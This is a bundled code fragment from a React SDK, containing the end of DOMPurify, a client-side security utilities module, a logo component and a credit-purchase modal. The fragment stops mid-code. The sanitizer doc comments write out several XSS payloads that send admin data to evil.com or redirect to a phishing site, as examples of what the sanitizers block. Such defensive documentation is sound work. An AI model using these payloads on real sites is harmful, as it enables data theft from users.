dirty;\n }\n /* Initialize the document to work on */\n body = _initDocument(dirty);\n /* Check we have a DOM node from the data */\n if (!body) {\n return RETURN_DOM ? null : RETURN_TRUSTED_TYPE ? emptyHTML : '';\n }\n }\n /* Remove first element node (ours) if FORCE_BODY is set */\n if (body && FORCE_BODY) {\n _forceRemove(body.firstChild);\n }\n /* Get node iterator */\n const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n /* Now start iterating over the created document */\n while (currentNode = nodeIterator.nextNode()) {\n /* Sanitize tags and elements */\n _sanitizeElements(currentNode);\n /* Check attributes next */\n _sanitizeAttributes(currentNode);\n /* Shadow DOM detected, sanitize it */\n if (currentNode.content instanceof DocumentFragment) {\n _sanitizeShadowDOM(currentNode.content);\n }\n }\n /* If we sanitized `dirty` in-place, return it. */\n if (IN_PLACE) {\n return dirty;\n }\n /* Return sanitized string or DOM */\n if (RETURN_DOM) {\n if (RETURN_DOM_FRAGMENT) {\n returnNode = createDocumentFragment.call(body.ownerDocument);\n while (body.firstChild) {\n // eslint-disable-next-line unicorn/prefer-dom-node-append\n returnNode.appendChild(body.firstChild);\n }\n } else {\n returnNode = body;\n }\n if (ALLOWED_ATTR.shadowroot || ALLOWED_ATTR.shadowrootmode) {\n /*\n AdoptNode() is not used because internal state is not reset\n (e.g. the past names map of a HTMLFormElement), this is safe\n in theory but we would rather not risk another attack vector.\n The state that is cloned by importNode() is explicitly defined\n by the specs.\n */\n returnNode = importNode.call(originalDocument, returnNode, true);\n }\n return returnNode;\n }\n let serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;\n /* Serialize doctype if allowed */\n if (WHOLE_DOCUMENT && ALLOWED_TAGS['!doctype'] && body.ownerDocument && body.ownerDocument.doctype && body.ownerDocument.doctype.name && regExpTest(DOCTYPE_NAME, body.ownerDocument.doctype.name)) {\n serializedHTML = '<!DOCTYPE ' + body.ownerDocument.doctype.name + '>\\n' + serializedHTML;\n }\n /* Sanitize final string template-safe */\n if (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {\n serializedHTML = stringReplace(serializedHTML, expr, ' ');\n });\n }\n return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(serializedHTML) : serializedHTML;\n };\n DOMPurify.setConfig = function () {\n let cfg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n _parseConfig(cfg);\n SET_CONFIG = true;\n };\n DOMPurify.clearConfig = function () {\n CONFIG = null;\n SET_CONFIG = false;\n };\n DOMPurify.isValidAttribute = function (tag, attr, value) {\n /* Initialize shared config vars if necessary. */\n if (!CONFIG) {\n _parseConfig({});\n }\n const lcTag = transformCaseFunc(tag);\n const lcName = transformCaseFunc(attr);\n return _isValidAttribute(lcTag, lcName, value);\n };\n DOMPurify.addHook = function (entryPoint, hookFunction) {\n if (typeof hookFunction !== 'function') {\n return;\n }\n arrayPush(hooks[entryPoint], hookFunction);\n };\n DOMPurify.removeHook = function (entryPoint, hookFunction) {\n if (hookFunction !== undefined) {\n const index = arrayLastIndexOf(hooks[entryPoint], hookFunction);\n return index === -1 ? undefined : arraySplice(hooks[entryPoint], index, 1)[0];\n }\n return arrayPop(hooks[entryPoint]);\n };\n DOMPurify.removeHooks = function (entryPoint) {\n hooks[entryPoint] = [];\n };\n DOMPurify.removeAllHooks = function () {\n hooks = _createHooksMap();\n };\n return DOMPurify;\n}\nvar purify = createDOMPurify();\n\nexport { purify as default };\n//# sourceMappingURL=purify.es.mjs.map\n","/**\n * Client-side security utilities for Echo React SDK\n *\n * SECURITY DOCUMENTATION:\n *\n * This module provides essential client-side security protections for the Echo React SDK:\n *\n * 1. XSS Protection: Sanitizes user-controlled data (names, emails) that could contain\n * malicious scripts injected via compromised OAuth providers or man-in-the-middle attacks\n *\n * 2. CSP Compatibility: Provides alternatives to popup-based flows that would be blocked\n * by Content Security Policy headers in enterprise environments\n *\n * 3. Rate Limiting: Client-side request debouncing to prevent API abuse and improve UX\n *\n * WHY THESE PROTECTIONS ARE NEEDED:\n * - OAuth providers can be compromised, injecting malicious data into user profiles\n * - Enterprise deployments require CSP compatibility for security compliance\n * - Rapid API calls can trigger rate limiting and degrade user experience\n */\n\nimport DOMPurify from 'dompurify';\n\n// Initialize DOMPurify for both browser and Node.js environments\nconst purify = (() => {\n if (typeof window !== 'undefined') {\n // Browser environment\n return DOMPurify;\n } else {\n // Node.js environment (testing) - import JSDOM dynamically to avoid issues\n try {\n const { JSDOM } = require('jsdom');\n const { window } = new JSDOM('');\n return DOMPurify(window);\n } catch {\n // Fallback if JSDOM is not available\n return {\n sanitize: (dirty: string) =>\n String(dirty || '').replace(/<[^>]*>/g, ''),\n } as typeof DOMPurify;\n }\n }\n})();\n\n/**\n * Sanitizes user-provided text to prevent XSS attacks\n *\n * SECURITY PURPOSE: Prevents execution of malicious JavaScript injected into\n * user profile data (name, email, etc.) from compromised OAuth providers.\n *\n * ATTACK SCENARIO PREVENTED:\n * - Attacker compromises OAuth provider or performs MITM attack\n * - Injects: user.name = '<script>fetch(\"/api/admin\").then(r=>r.json()).then(d=>fetch(\"https://evil.com\", {method:\"POST\", body:JSON.stringify(d)}))</script>'\n * - Without sanitization: Script executes when name is rendered, stealing admin data\n * - With sanitization: Script tags removed, only safe text displayed\n *\n * @param input - Raw user input that may contain malicious content\n * @returns Sanitized string safe for DOM rendering\n *\n * @example\n * ```typescript\n * // Dangerous: Direct rendering of user data\n * <div>Welcome, {user.name}!</div> // ❌ VULNERABLE TO XSS\n *\n * // Safe: Sanitized rendering\n * <div>Welcome, {sanitizeText(user.name)}!</div> // ✅ PROTECTED\n * ```\n */\nexport function sanitizeText(input: string | null | undefined): string {\n if (!input) return '';\n\n // Ensure we have a string to work with\n const stringInput = String(input);\n\n try {\n // Use properly initialized DOMPurify\n let sanitized = purify.sanitize(stringInput, {\n ALLOWED_TAGS: [], // No HTML tags allowed\n ALLOWED_ATTR: [], // No attributes allowed\n KEEP_CONTENT: true, // Keep text content\n RETURN_DOM: false, // Return string, not DOM\n RETURN_DOM_FRAGMENT: false, // Return string, not fragment\n FORCE_BODY: true, // Force processing in body context to handle SVG\n });\n\n // DOMPurify can be overly aggressive with certain tags - use fallback if result is empty but input has text\n if (!sanitized.trim() && stringInput) {\n // Extract potential text content by removing HTML tags\n const textContent = stringInput.replace(/<[^>]*>/g, '').trim();\n if (textContent) {\n // Fallback for problematic cases where DOMPurify strips everything\n sanitized = stringInput\n .replace(/<[^>]*>/g, '') // Remove all HTML tags\n .replace(/javascript:/gi, '') // Remove javascript: URLs\n .replace(/on\\w+\\s*=/gi, '') // Remove event handlers\n .trim();\n }\n }\n\n return sanitized.trim().slice(0, 1000); // Limit length to prevent DoS\n } catch {\n // Fallback: Simple regex-based sanitization\n const fallbackSanitized = stringInput\n .replace(/<[^>]*>/g, '') // Remove all HTML tags\n .replace(/javascript:/gi, '') // Remove javascript: URLs\n .replace(/on\\w+\\s*=/gi, '') // Remove event handlers\n .trim();\n\n return fallbackSanitized.slice(0, 1000);\n }\n}\n\n/**\n * Sanitizes user profile data for safe display in UI components\n *\n * SECURITY PURPOSE: Comprehensive sanitization of all user profile fields\n * that could be controlled by attackers through OAuth profile injection.\n *\n * @param profile - User profile from OAuth provider (potentially malicious)\n * @returns Sanitized profile safe for UI display\n *\n * @example\n * ```typescript\n * // Before sanitization (dangerous):\n * const maliciousProfile = {\n * name: '<img src=x onerror=\"fetch(\\'/admin\\').then(r=>r.text()).then(d=>navigator.sendBeacon(\\'https://evil.com\\', d))\">John',\n * email: 'john@example.com\"><script>document.location=\"https://phishing.com\"</script>',\n * };\n *\n * // After sanitization (safe):\n * const safeProfile = sanitizeUserProfile(maliciousProfile);\n * // { name: 'John', email: 'john@example.com' }\n * ```\n */\nexport function sanitizeUserProfile(profile: {\n name?: string;\n email?: string;\n picture?: string;\n [key: string]: unknown;\n}): {\n name: string;\n email: string;\n picture: string;\n} {\n return {\n name: sanitizeText(profile.name),\n email: sanitizeEmail(profile.email),\n picture: sanitizeUrl(profile.picture),\n };\n}\n\n/**\n * Sanitizes email addresses and validates format\n *\n * SECURITY PURPOSE: Prevents email-based injection attacks and ensures\n * only valid email formats are processed.\n *\n * @param email - Email address to sanitize and validate\n * @returns Valid sanitized email or empty string\n */\nexport function sanitizeEmail(email: string | null | undefined): string {\n if (!email) return '';\n\n const sanitized = sanitizeText(email);\n\n // Extract just the email portion if there's extra content\n const emailMatch = sanitized.match(\n /^([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})/\n );\n if (emailMatch) {\n return emailMatch[1] ?? '';\n }\n\n return '';\n}\n\n/**\n * Sanitizes URLs to prevent javascript: and data: URI attacks\n *\n * SECURITY PURPOSE: Prevents execution of JavaScript through malicious\n * URLs in user profile pictures or other URL fields.\n *\n * ATTACK SCENARIO PREVENTED:\n * - Attacker sets profile.picture = \"javascript:fetch('/admin').then(r=>r.json()).then(d=>fetch('https://evil.com', {method:'POST', body:JSON.stringify(d)}))\"\n * - Without sanitization: JavaScript executes when image loads\n * - With sanitization: Dangerous URL scheme blocked\n *\n * @param url - URL to sanitize\n * @returns Safe HTTP/HTTPS URL or empty string\n */\nexport function sanitizeUrl(url: string | null | undefined): string {\n if (!url) return '';\n\n const sanitized = sanitizeText(url);\n\n try {\n const parsed = new URL(sanitized);\n\n // Only allow safe protocols - block javascript:, data:, file:, etc.\n if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {\n return sanitized;\n }\n\n return '';\n } catch {\n return '';\n }\n}\n\n/**\n * Debounces function calls to prevent API spam and rate limiting\n *\n * SECURITY/UX PURPOSE: Prevents excessive API calls that could:\n * - Trigger server-side rate limiting (causing authentication failures)\n * - Create poor user experience with multiple rapid requests\n * - Overwhelm client-side state management\n *\n * SCENARIO PREVENTED:\n * - User rapidly clicks \"Refresh Balance\" button\n * - Without debouncing: 10 API calls in 1 second, rate limit triggered\n * - With debouncing: Only 1 API call executed, smooth user experience\n *\n * @param func - Function to debounce\n * @param delay - Delay in milliseconds (recommended: 500-1000ms for user actions)\n * @returns Debounced function that only executes after delay\n *\n * @example\n * ```typescript\n * // Without debouncing (problematic):\n * const handleRefresh = () => refreshBalance(); // ❌ Can spam API\n *\n * // With debouncing (protected):\n * const handleRefresh = debounce(refreshBalance, 1000); // ✅ Max 1 call/second\n * ```\n */\nexport function debounce<T extends (...args: unknown[]) => unknown>(\n func: T,\n delay: number\n): (...args: Parameters<T>) => void {\n let timeoutId: NodeJS.Timeout | null = null;\n\n return (...args: Parameters<T>) => {\n if (timeoutId) {\n clearTimeout(timeoutId);\n }\n\n timeoutId = setTimeout(() => {\n func(...args);\n }, delay);\n };\n}\n\n/**\n * Creates a CSP-compatible payment flow that doesn't rely on popups\n *\n * SECURITY PURPOSE: Provides payment functionality that works with strict\n * Content Security Policy headers required in enterprise environments.\n *\n * PROBLEM SOLVED: window.open() is blocked by CSP 'script-src' directive,\n * preventing payment flows from working in secure enterprise deployments.\n *\n * ENTERPRISE SECURITY REQUIREMENT:\n * Many organizations require CSP headers like:\n * Content-Security-Policy: script-src 'self'; object-src 'none';\n *\n * This blocks window.open() calls, breaking popup-based payment flows.\n *\n * @param paymentUrl - Stripe payment link URL\n * @param options - Configuration options for payment flow\n * @returns Promise that resolves when payment is complete or cancelled\n *\n * @example\n * ```typescript\n * // Non-CSP compatible (blocked by strict CSP):\n * window.open(paymentUrl, '_blank'); // ❌ Blocked by CSP\n *\n * // CSP compatible:\n * await openPaymentFlow(paymentUrl, {\n * onComplete: () => refreshBalance(),\n * onCancel: () => console.log('Payment cancelled')\n * }); // ✅ Works with CSP\n * ```\n */\nexport async function openPaymentFlow(\n paymentUrl: string,\n options: {\n onComplete?: () => void;\n onCancel?: () => void;\n onError?: (error: Error) => void;\n } = {}\n): Promise<void> {\n const { onComplete, onCancel, onError } = options;\n\n // Sanitize the payment URL to prevent injection\n const safeUrl = sanitizeUrl(paymentUrl);\n if (!safeUrl) {\n const error = new Error('Invalid payment URL provided');\n onError?.(error);\n throw error;\n }\n\n try {\n // Try popup first (for environments that allow it)\n const popup = window.open(\n safeUrl,\n 'echo-payment',\n 'width=600,height=700,scrollbars=yes,resizable=yes'\n );\n\n if (popup && !popup.closed) {\n // Popup opened successfully - monitor for completion\n return new Promise<void>(resolve => {\n const checkComplete = () => {\n try {\n if (popup.closed) {\n // Payment window closed - assume completion\n onComplete?.();\n resolve();\n return;\n }\n setTimeout(checkComplete, 1000);\n } catch {\n // Cross-origin error means payment completed\n onComplete?.();\n resolve();\n }\n };\n\n checkComplete();\n\n // Timeout after 10 minutes\n setTimeout(() => {\n popup.close();\n onCancel?.();\n resolve();\n }, 600000);\n });\n } else {\n // Popup blocked - fall back to redirect flow (CSP compatible)\n const confirmed = confirm(\n 'Payment will open in a new tab. Click OK to continue, or Cancel to abort.'\n );\n\n if (confirmed) {\n // Store callback info for when user returns\n sessionStorage.setItem('echo_payment_flow', 'true');\n\n // Redirect to payment page\n window.location.href = safeUrl;\n\n return new Promise<void>(resolve => {\n // This will resolve when the user returns to the app\n const handleFocus = () => {\n if (sessionStorage.getItem('echo_payment_flow') === 'completed') {\n sessionStorage.removeItem('echo_payment_flow');\n onComplete?.();\n window.removeEventListener('focus', handleFocus);\n resolve();\n }\n };\n\n window.addEventListener('focus', handleFocus);\n\n // Cleanup after 30 minutes\n setTimeout(() => {\n window.removeEventListener('focus', handleFocus);\n sessionStorage.removeItem('echo_payment_flow');\n onCancel?.();\n resolve();\n }, 1800000);\n });\n } else {\n onCancel?.();\n return Promise.resolve();\n }\n }\n } catch (err) {\n const error = err instanceof Error ? err : new Error('Payment flow failed');\n onError?.(error);\n throw error;\n }\n}\n","import React from 'react';\n\ninterface LogoProps {\n className?: string;\n width?: number;\n height?: number;\n variant?: 'light' | 'dark';\n}\n\nexport const Logo: React.FC<LogoProps> = ({\n className = '',\n width = 16,\n height = 16,\n variant = 'light',\n}) => {\n const fillColor = variant === 'dark' ? '#DFE2D9' : '#232323';\n\n return (\n <svg\n id=\"Layer_1\"\n data-name=\"Layer 1\"\n xmlns=\"http://www.w3.org/2000/svg\"\n viewBox=\"0 0 226.03 261\"\n className={className}\n width={width}\n height={height}\n aria-label=\"Echo Logo\"\n >\n <defs>\n <style>\n {`\n .cls-1 {\n fill: none;\n }\n .cls-3 {\n fill: #7f0404;\n }\n .cls-4 {\n fill: ${fillColor};\n }\n .cls-5 {\n fill: #a50404;\n }\n .cls-6 {\n fill: #cd0202;\n opacity: .9;\n }\n `}\n </style>\n </defs>\n <polygon\n className=\"cls-6\"\n points=\"59.23 99.45 59.23 161.55 113.02 192.61 113.02 130.5 59.23 99.45\"\n />\n <polygon\n className=\"cls-5\"\n points=\"113.02 68.39 113.02 68.39 59.23 99.45 113.02 130.5 166.8 99.45 113.02 68.39\"\n />\n <polygon\n className=\"cls-3\"\n points=\"166.8 99.45 113.02 130.5 113.02 192.61 113.02 192.61 166.8 161.55 166.8 99.45\"\n />\n <g>\n <path\n className=\"cls-4\"\n d=\"m113.02,196.41l-57.08-32.95v-65.91l57.08-32.95,57.08,32.95v65.91l-57.08,32.95Zm-52.53-35.58l52.53,30.33,52.53-30.33v-60.66l-52.53-30.33-52.53,30.33v60.66Z\"\n />\n <path\n className=\"cls-4\"\n d=\"m113.02,261L0,195.75V65.25L113.02,0l113.02,65.25v130.5l-113.02,65.25ZM6.82,191.81l106.2,61.31,106.2-61.31v-122.62L113.02,7.88,6.82,69.19v122.62Z\"\n />\n <rect\n className=\"cls-4\"\n x=\"111.88\"\n y=\"3.94\"\n width=\"2.27\"\n height=\"63.28\"\n />\n <rect\n className=\"cls-4\"\n x=\"-.83\"\n y=\"176.82\"\n width=\"63.28\"\n height=\"2.27\"\n transform=\"translate(-84.84 39.24) rotate(-29.99)\"\n />\n <rect\n className=\"cls-4\"\n x=\"194.08\"\n y=\"146.32\"\n width=\"2.27\"\n height=\"63.28\"\n transform=\"translate(-56.51 258.05) rotate(-60)\"\n />\n <rect\n className=\"cls-4\"\n x=\"111.88\"\n y=\"130.5\"\n width=\"2.27\"\n height=\"126.56\"\n />\n <rect\n className=\"cls-4\"\n x=\"104.54\"\n y=\"97.72\"\n width=\"126.56\"\n height=\"2.27\"\n transform=\"translate(-26.95 97.14) rotate(-29.99)\"\n />\n <rect\n className=\"cls-4\"\n x=\"57.08\"\n y=\"35.58\"\n width=\"2.27\"\n height=\"126.56\"\n transform=\"translate(-56.51 99.84) rotate(-60)\"\n />\n </g>\n </svg>\n );\n};\n","import { useEffect, useRef, useState } from 'react';\nimport { useEcho } from '../hooks/useEcho';\nimport { EchoTokenPurchaseProps } from '../types';\nimport { openPaymentFlow } from '../utils/security';\nimport { Logo } from './Logo';\n\n// Separate component for custom amount input to prevent parent re-renders\nconst CustomAmountInput = ({\n onAddCredits,\n onCancel,\n isProcessing,\n}: {\n onAddCredits: (amount: number) => void;\n onCancel: () => void;\n isProcessing: boolean;\n}) => {\n const [amount, setAmount] = useState('');\n const inputRef = useRef<HTMLInputElement>(null);\n\n useEffect(() => {\n if (inputRef.current) {\n inputRef.current.focus();\n }\n }, []);\n\n const handleAddCredits = () => {\n const purchaseAmount = Number(amount);\n if (purchaseAmount > 0) {\n onAddCredits(purchaseAmount);\n }\n };\n\n const isValidAmount = amount !== '' && Number(amount) > 0;\n\n return (\n <div\n style={{\n display: 'flex',\n flexDirection: 'column',\n alignItems: 'flex-end',\n gap: '8px',\n }}\n >\n <div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>\n <span\n style={{\n fontSize: '14px',\n color: '#6b7280',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n $\n </span>\n <input\n ref={inputRef}\n type=\"number\"\n placeholder=\"0.00\"\n value={amount}\n onChange={e => setAmount(e.target.value)}\n style={{\n width: '96px',\n textAlign: 'right',\n padding: '8px 12px',\n border: '1px solid #e5e7eb',\n borderRadius: '6px',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n outline: 'none',\n backgroundColor: '#ffffff',\n }}\n min=\"1\"\n step=\"0.01\"\n />\n </div>\n <div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>\n <button\n onClick={onCancel}\n style={{\n padding: '8px 12px',\n backgroundColor: 'transparent',\n color: '#6b7280',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n cursor: 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n textDecoration: 'none',\n }}\n onMouseEnter={e => {\n e.currentTarget.style.color = '#111827';\n }}\n onMouseLeave={e => {\n e.currentTarget.style.color = '#6b7280';\n }}\n >\n Cancel\n </button>\n <button\n onClick={handleAddCredits}\n disabled={isProcessing || !isValidAmount}\n style={{\n padding: '8px 16px',\n backgroundColor:\n isProcessing || !isValidAmount ? '#9ca3af' : '#dc2626',\n color: 'white',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n fontWeight: '500',\n cursor: isProcessing || !isValidAmount ? 'not-allowed' : 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n if (!isProcessing && isValidAmount) {\n e.currentTarget.style.backgroundColor = '#b91c1c';\n }\n }}\n onMouseLeave={e => {\n if (!isProcessing && isValidAmount) {\n e.currentTarget.style.backgroundColor = '#dc2626';\n }\n }}\n >\n {isProcessing ? 'Processing...' : 'Add Credits'}\n </button>\n </div>\n </div>\n );\n};\n\nexport function EchoTokenPurchase({\n onPurchaseComplete,\n onError,\n className = '',\n children,\n}: EchoTokenPurchaseProps) {\n const {\n createPaymentLink,\n isAuthenticated,\n balance,\n freeTierBalance,\n refreshBalance,\n } = useEcho();\n const [isProcessing, setIsProcessing] = useState(false);\n const [purchaseError, setPurchaseError] = useState<string | null>(null);\n const [isModalOpen, setIsModalOpen] = useState(false);\n const [showCustomAmount, setShowCustomAmount] = useState(false);\n\n const formatCurrency = (value: number) => {\n return new Intl.NumberFormat('en-US', {\n style: 'currency',\n currency: 'USD',\n }).format(value);\n };\n\n // Calculate available spend: min(spendLimit, amount in pool) - amountSpent with floor of 0\n const calculateAvailableSpend = () => {\n return (\n (freeTierBalance?.userSpendInfo?.amountLeft || 0) +\n (balance?.balance || 0)\n );\n };\n\n const handlePurchase = async (purchaseAmount: number) => {\n if (!isAuthenticated) {\n const error = new Error('Please sign in to purchase tokens');\n setPurchaseError(error.message);\n if (onError) onError(error);\n return;\n }\n\n try {\n setIsProcessing(true);\n setPurchaseError(null);\n\n const paymentUrl = await createPaymentLink(purchaseAmount);\n\n await openPaymentFlow(paymentUrl, {\n onComplete: async () => {\n try {\n await refreshBalance();\n setIsModalOpen(false);\n setShowCustomAmount(false);\n if (onPurchaseComplete && balance) {\n onPurchaseComplete(balance);\n }\n } catch (err) {\n const error =\n err instanceof Error\n ? err\n : new Error('Failed to refresh balance');\n setPurchaseError(error.message);\n if (onError) onError(error);\n } finally {\n setIsProcessing(false);\n }\n },\n onCancel: () => {\n setIsProcessing(false);\n },\n onError: err => {\n setPurchaseError(err.message);\n if (onError) onError(err);\n setIsProcessing(false);\n },\n });\n } catch (err) {\n const error =\n err instanceof Error ? err : new Error('Failed to create payment link');\n setPurchaseError(error.message);\n if (onError) onError(error);\n setIsProcessing(false);\n }\n };\n\n const closeModal = () => {\n setIsModalOpen(false);\n setShowCustomAmount(false);\n setPurchaseError(null);\n };\n\n if (!isAuthenticated) {\n return (\n <div className={`echo-token-purchase ${className}`}>\n <div\n className=\"echo-token-purchase-unauthorized\"\n style={{\n padding: '12px',\n backgroundColor: '#fef3c7',\n color: '#92400e',\n borderRadius: '8px',\n fontSize: '14px',\n }}\n >\n Please sign in to purchase tokens\n </div>\n </div>\n );\n }\n\n // Compact button that exactly matches BalanceCard compact version\n const CompactButton = () => {\n const [isHovered, setIsHovered] = useState(false);\n\n return (\n <button\n onClick={() => setIsModalOpen(true)}\n className={`echo-token-purchase-compact ${className}`}\n style={{\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '10px 12px',\n borderRadius: '8px',\n backgroundColor: isHovered ? '#f1f5f9' : '#ffffff',\n border: '1px solid #e5e7eb',\n color: '#09090b',\n fontSize: '14px',\n fontWeight: '800',\n cursor: 'pointer',\n backdropFilter: 'blur(8px)',\n transition: 'all 0.2s ease',\n boxShadow: '0 1px 2px 0 rgba(0, 0, 0, 0.05)',\n height: '40px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={() => setIsHovered(true)}\n onMouseLeave={() => setIsHovered(false)}\n >\n {/* Logo */}\n <Logo width={16} height={16} variant=\"light\" />\n <span>{formatCurrency(calculateAvailableSpend())}</span>\n {/* Arrow Up Right Icon - matching lucide-react ArrowUpRight */}\n <svg\n width=\"12\"\n height=\"12\"\n viewBox=\"0 0 24 24\"\n fill=\"none\"\n stroke=\"currentColor\"\n strokeWidth=\"2\"\n strokeLinecap=\"round\"\n strokeLinejoin=\"round\"\n style={{\n color: isHovered ? '#dc2626' : '#6b7280',\n transition: 'color 0.2s ease',\n }}\n >\n <path d=\"M7 7h10v10\" />\n <path d=\"M7 17 17 7\" />\n </svg>\n </button>\n );\n };\n\n // Modal with credit purchase card design\n const Modal = () => {\n return (\n <div\n style={{\n position: 'fixed',\n top: 0,\n left: 0,\n right: 0,\n bottom: 0,\n backgroundColor: 'rgba(0, 0, 0, 0.5)',\n display: 'flex',\n alignItems: 'center',\n justifyContent: 'center',\n zIndex: 1000,\n padding: '16px',\n }}\n onClick={e => {\n if (e.target === e.currentTarget) {\n closeModal();\n }\n }}\n >\n <div\n style={{\n backgroundColor: '#ffffff',\n borderRadius: '12px',\n border: '1px solid #e5e7eb',\n padding: '0',\n width: '100%',\n maxWidth: '450px',\n maxHeight: '90vh',\n overflow: 'hidden',\n boxShadow:\n '0 10px 25px -5px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05)',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n display: 'flex',\n flexDirection: 'column',\n minHeight: '320px',\n }}\n >\n {/* Header */}\n <div style={{ padding: '16px 16px 0 16px', marginBottom: '12px' }}>\n <h2\n style={{\n fontSize: '18px',\n fontWeight: '500',\n color: '#111827',\n margin: 0,\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n Credits\n </h2>\n </div>\n\n {/* Current Balance Section */}\n <div style={{ padding: '0 16px', marginBottom: '16px' }}>\n <p\n style={{\n fontSize: '14px',\n color: '#6b7280',\n margin: '0 0 4px 0',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n Total Available\n </p>\n <p\n style={{\n fontSize: '28px',\n fontWeight: '700',\n color: '#111827',\n margin: '0 0 12px 0',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n {formatCurrency(\n (balance?.balance || 0) + calculateAvailableSpend()\n )}\n </p>\n\n {/* Breakdown */}\n <div style={{ marginBottom: '8px' }}>\n {/* Free Tier Breakdown */}\n {freeTierBalance && calculateAvailableSpend() > 0 && (\n <div style={{ marginBottom: '8px' }}>\n <div\n style={{\n fontSize: '12px',\n color: '#6b7280',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n display: 'flex',\n alignItems: 'center',\n gap: '6px',\n marginBottom: '4px',\n }}\n >\n <div\n style={{\n width: '6px',\n height: '6px',\n borderRadius: '50%',\n backgroundColor: '#ef4444',\n }}\n ></div>\n <span>\n {formatCurrency(calculateAvailableSpend())} Free Tier\n {freeTierBalance.userSpendInfo &&\n freeTierBalance.userSpendInfo.spendLimit && (\n <span style={{ color: '#9ca3af', marginLeft: '8px' }}>\n {formatCurrency(\n freeTierBalance.userSpendInfo.amountSpent\n )}{' '}\n of{' '}\n {formatCurrency(\n freeTierBalance.userSpendInfo.amountLeft +\n freeTierBalance.userSpendInfo.amountSpent\n )}{' '}\n used\n </span>\n )}\n </span>\n </div>\n\n {/* Usage Progress Bar */}\n {freeTierBalance.userSpendInfo &&\n freeTierBalance.userSpendInfo.spendLimit && (\n <div\n style={{\n width: '100%',\n height: '4px',\n backgroundColor: '#e5e7eb',\n borderRadius: '2px',\n overflow: 'hidden',\n marginBottom: '4px',\n border: '1px solid #d1d5db',\n }}\n >\n <div\n style={{\n width: `${Math.min(100, (freeTierBalance.userSpendInfo.amountSpent / (freeTierBalance.userSpendInfo.spendLimit || 1)) * 100)}%`,\n height: '100%',\n backgroundColor: '#dc2626',\n }}\n />\n </div>\n )}\n </div>\n )}\n\n {/* Paid Credits Breakdown */}\n {balance && balance.balance > 0 && (\n <div\n style={{\n fontSize: '12px',\n color: '#6b7280',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n display: 'flex',\n alignItems: 'center',\n gap: '6px',\n }}\n >\n <div\n style={{\n width: '6px',\n height: '6px',\n borderRadius: '50%',\n backgroundColor: '#3b82f6',\n }}\n ></div>\n {formatCurrency(balance.balance)} Paid Credits\n </div>\n )}\n </div>\n </div>\n\n {/* Add Credits Section */}\n <div\n style={{\n padding: '0 16px 16px 16px',\n borderTop: '1px solid #f3f4f6',\n paddingTop: '16px',\n }}\n >\n <p\n style={{\n fontSize: '14px',\n color: '#6b7280',\n margin: '0 0 12px 0',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n Add Credits\n </p>\n\n {!showCustomAmount ? (\n <div\n style={{ display: 'flex', flexDirection: 'column', gap: '8px' }}\n >\n <button\n onClick={() => handlePurchase(10)}\n disabled={isProcessing}\n style={{\n width: '100%',\n padding: '12px 16px',\n backgroundColor: isProcessing ? '#9ca3af' : '#dc2626',\n color: 'white',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n fontWeight: '600',\n cursor: isProcessing ? 'not-allowed' : 'pointer',\n transition: 'background-color 0.2s ease',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n if (!isProcessing) {\n e.currentTarget.style.backgroundColor = '#b91c1c';\n }\n }}\n onMouseLeave={e => {\n if (!isProcessing) {\n e.currentTarget.style.backgroundColor = '#dc2626';\n }\n }}\n >\n {isProcessing ? 'Processing...' : 'Add $10 Credits'}\n </button>\n <button\n onClick={() => setShowCustomAmount(true)}\n style={{\n width: '100%',\n padding: '8px 16px',\n fontSize: '14px',\n color: '#6b7280',\n backgroundColor: 'transparent',\n border: '1px solid #e5e7eb',\n borderRadius: '6px',\n cursor: 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n e.currentTarget.style.color = '#111827';\n e.currentTarget.style.borderColor = '#d1d5db';\n }}\n onMouseLeave={e => {\n e.currentTarget.style.color = '#6b7280';\n e.currentTarget.style.borderColor = '#e5e7eb';\n }}\n >\n Choose different amount\n </button>\n </div>\n ) : (\n <CustomAmountInput\n onAddCredits={handlePurchase}\n onCancel={() => setShowCustomAmount(false)}\n isProcessing={isProcessing}\n />\n )}\n </div>\n\n {/* Error Message */}\n {purchaseError && (\n <div\n style={{\n margin: '0 16px 12px 16px',\n padding: '8px 12px',\n backgroundColor: '#fee2e2',\n color: '#dc2626',\n borderRadius: '6px',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n {purchaseError}\n </div>\n )}\n\n {/* Close Button */}\n <div\n style={{\n padding: '12px 16px',\n display: 'flex',\n justifyContent: 'flex-end',\n borderTop: '1px solid #f3f4f6',\n }}\n >\n <button\n onClick={closeModal}\n style={{\n padding: '8px 16px',\n backgroundColor: '#f3f4f6',\n color: '#374151',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n cursor: 